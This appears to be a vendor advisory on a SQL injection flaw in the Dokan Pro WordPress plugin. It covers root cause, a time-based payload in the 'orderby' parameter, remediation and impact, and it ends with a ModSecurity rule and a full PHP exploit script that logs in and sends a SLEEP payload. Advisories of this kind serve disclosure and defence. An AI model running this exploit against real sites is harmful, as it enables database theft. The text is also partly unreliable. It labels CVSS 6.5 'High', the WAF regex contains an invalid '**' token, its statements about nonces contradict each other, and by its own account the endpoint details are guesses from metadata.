Atomic Edge analysis of CVE-2026-12079 (metadata-based): CVE-2026-12079 is a time-based SQL Injection vulnerability in the Dokan Pro plugin for WordPress, affecting versions up to and including 5.0.4. The flaw exists in the ‘orderby’ parameter and allows authenticated attackers with Subscriber-level access or higher to extract sensitive database information. The CVSS score is 6.5 (High) with a vector of AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N, indicating low attack complexity and high confidentiality impact.
Root Cause: Based on the CWE classification (89: SQL Injection) and the description, the vulnerability arises because the Dokan Pro plugin does not properly escape and prepare user-supplied input passed through the ‘orderby’ parameter. The description confirms insufficient escaping and lack of sufficient SQL query preparation. While Atomic Edge analysis cannot confirm the exact code path without a source diff, the pattern strongly suggests that the ‘orderby’ parameter is used directly in an SQL ORDER BY clause without parameterized queries or proper sanitization. This is a classic pattern where developers overlook that ORDER BY clauses cannot use prepared statement placeholders, leading to raw concatenation of user input into the query.
Exploitation: An authenticated attacker with at least Subscriber-level access can exploit this by crafting a malicious ‘orderby’ parameter value appended to a vulnerable endpoint. Dokan Pro likely exposes an AJAX handler or a REST API endpoint that accepts ‘orderby’ (e.g., for sorting products, orders, or vendor lists). The attacker would send a request to a URL such as ‘/wp-admin/admin-ajax.php’ with an action parameter corresponding to a Dokan Pro sorting function and an ‘orderby’ parameter containing a time-based SQL injection payload (e.g., ‘orderby=(SELECT IF(1=1,SLEEP(5),1))’). The injection does not require authentication bypass since it requires a valid WordPress nonce and logged-in session. Atomic Edge research infers that the vulnerable endpoint is likely part of Dokan Pro’s vendor dashboard or frontend listing features where sorting is applied to user-facing tables.
Remediation: The fix requires the plugin developers to properly sanitize and validate the ‘orderby’ parameter. Since ORDER BY clauses cannot use prepared statement placeholders directly, the safest approach is to implement a whitelist of allowed sort columns. The plugin should compare the user-supplied ‘orderby’ value against an array of acceptable column names and reject any input that does not match. Additionally, the plugin should ensure that all other dynamic SQL components (e.g., ‘order’ direction) are validated. Atomic Edge analysis recommends that the developers implement strict input validation rather than relying on escaping functions that may be insufficient in this context.
Impact: Successful exploitation of this SQL Injection vulnerability allows an authenticated attacker with minimal privileges (Subscriber) to extract sensitive information from the WordPress database. This can include user credentials (hashed passwords, email addresses), session tokens, private post content, and other plugin-specific data such as order details, customer information, and API keys stored in the database. The attacker can perform time-based blind SQL injection to exfiltrate data row by row. Although the CVSS indicates no impact on integrity or availability, the confidentiality breach can lead to further attacks, including privilege escalation if admin credentials are compromised.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-12079 (metadata-based)
# Block SQL injection attempts in the 'orderby' parameter for Dokan Pro AJAX handlers
# The rule chains three conditions: request URI is admin-ajax.php, action starts with 'dokan_pro', and orderby contains SQL injection patterns.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202612079,phase:2,deny,status:403,chain,msg:'CVE-2026-12079 - SQL Injection in Dokan Pro orderby parameter',severity:'CRITICAL',tag:'CVE-2026-12079',tag:'WordPress',tag:'Dokan-Pro'"
SecRule ARGS_POST:action "@rx ^dokan_pro_" "chain"
SecRule ARGS:orderby "@rx (?:UNION|SELECT|SLEEP|BENCHMARK|INSERT|UPDATE|DELETE|DROP|--|#|**)" "t:urlDecode,t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-12079 - Dokan Pro <= 5.0.4 - Authenticated (Subscriber+) SQL Injection via 'orderby' Parameter
/*
* ASSUMPTIONS:
* 1. The vulnerable endpoint is an AJAX handler accessible via /wp-admin/admin-ajax.php
* The action parameter is likely 'dokan_pro_sort_products' or similar.
* Adjust the $action variable if needed.
* 2. The attacker has valid Subscriber-level credentials (username/password).
* 3. The plugin does not require a nonce for this particular AJAX action,
* or the nonce can be obtained from a logged-in session.
*/
$target_url = 'https://example.com'; // CHANGE THIS to the target WordPress URL
$username = 'subscriber_user'; // CHANGE THIS
$password = 'subscriber_pass'; // CHANGE THIS
// Step 1: Authenticate
$login_url = rtrim($target_url, '/') . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'remember' => 'true',
'wp-submit' => 'Log In',
'redirect_to' => rtrim($target_url, '/') . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt_array($ch, array(
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($login_data),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => '/tmp/cve_cookies.txt',
CURLOPT_COOKIEFILE => '/tmp/cve_cookies.txt',
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HEADER => true
));
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Send payload to the vulnerable AJAX endpoint
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
// The action parameter - adjust based on actual plugin behaviour
$action = 'dokan_pro_sort_products'; // inference from Dokan Pro functionality
// Time-based SQL injection payload: ORDER BY (SELECT IF(1=1,SLEEP(5),1))
$payload = '(SELECT IF(1=1,SLEEP(5),1))';
$post_data = array(
'action' => $action,
'orderby' => $payload,
// Nonce may be required; if so, extract from page or skip nonce check
// '_wpnonce' => ''
);
$ch = curl_init();
curl_setopt_array($ch, array(
CURLOPT_URL => $ajax_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($post_data),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEFILE => '/tmp/cve_cookies.txt',
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_TIMEOUT => 10, // Normal requests should respond quickly
));
$start = microtime(true);
$response = curl_exec($ch);
$end = microtime(true);
$duration = $end - $start;
curl_close($ch);
// Check if response took > 5 seconds, indicating sleep injection worked
if ($duration > 5) {
echo "[SUCCESS] Time-based SQL injection confirmed. Response time: " . round($duration, 2) . " seconds.n";
} else {
echo "[INFO] Injection may have failed or server did not sleep. Response time: " . round($duration, 2) . " seconds.n";
echo "Adjust the 'action' parameter or payload syntax as needed.n";
}
// Clean up temporary cookie file
if (file_exists('/tmp/cve_cookies.txt')) {
unlink('/tmp/cve_cookies.txt');
}
?>